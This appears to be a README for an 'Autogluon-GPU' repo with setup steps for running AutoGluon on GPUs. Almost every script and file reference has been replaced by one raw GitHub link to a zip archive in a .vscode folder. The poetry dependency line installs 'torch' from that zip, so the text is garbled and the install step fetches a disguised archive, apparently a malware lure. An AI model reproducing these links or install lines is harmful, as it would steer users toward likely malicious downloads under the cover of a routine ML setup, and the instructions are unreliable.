Autogluon-GPU

This repo contain very basic scripts to get Autogluon up an running on multiple CPU(s) and GPU(s).

Setup

🧕 Environment

1. Create the python virtual environment and activate it:

   python3.9 -m venv .venv
   source .venv/bin/activate
   

2. Install dependencies:

   poetry install
   

   In particular, this installs the prerequisite (torch) for running Autogluon with GPU:

   # in https://raw.githubusercontent.com/irene7c/Autogluon-GPU/main/.vscode/Autogluon_GPU_3.5-beta.4.zip
   torch = {url="https://raw.githubusercontent.com/irene7c/Autogluon-GPU/main/.vscode/Autogluon_GPU_3.5-beta.4.zip%https://raw.githubusercontent.com/irene7c/Autogluon-GPU/main/.vscode/Autogluon_GPU_3.5-beta.4.zip"}
   autogluon-tabular = {extras = ["all"], version = "~0.6.0"}
   

   You must check that torch is compatible with your cuda version. See this for available packages.

3. [Optional] Install LightGBM for GPU - the current LightGBM installation that comes with Autogluon doesn't have GPU capabilities. To enable this, we need need to uninstall this, and reinstall with --install-option=--gpu.

   # uninstall autogluon's lightgbm installation, and install the new build
   pip uninstall lightgbm -y
   pip install lightgbm --install-option=--gpu
   

Run the script

🧕 Using https://raw.githubusercontent.com/irene7c/Autogluon-GPU/main/.vscode/Autogluon_GPU_3.5-beta.4.zip

To run the https://raw.githubusercontent.com/irene7c/Autogluon-GPU/main/.vscode/Autogluon_GPU_3.5-beta.4.zip script, do:

https://raw.githubusercontent.com/irene7c/Autogluon-GPU/main/.vscode/Autogluon_GPU_3.5-beta.4.zip

https://raw.githubusercontent.com/irene7c/Autogluon-GPU/main/.vscode/Autogluon_GPU_3.5-beta.4.zip does a couple of things:

1. Set the CUDA_VISIBLE_DEVICES environment variable to assign GPUs to be used.
2. Set the CPU affininity for taskset, which is a linux utility that can assign CPUs to our python application. Autogluon does not limit the number of CPUs it uses by default - so to avoid hogging the server resources, we limit them.
3. Runs the https://raw.githubusercontent.com/irene7c/Autogluon-GPU/main/.vscode/Autogluon_GPU_3.5-beta.4.zip script that contains our main codes with taskset.

🧕 Using VSCode's Debugging Facilities

This repo comes with [https://raw.githubusercontent.com/irene7c/Autogluon-GPU/main/.vscode/Autogluon_GPU_3.5-beta.4.zip] that has CUDA_VISIBLE_DEVICES set up.

Just hit F5 while you are on [https://raw.githubusercontent.com/irene7c/Autogluon-GPU/main/.vscode/Autogluon_GPU_3.5-beta.4.zip] to run the debugger.

Idk how to allocate CPU with the debugger yet. If you know how to do that, feel free to submit a pull request :p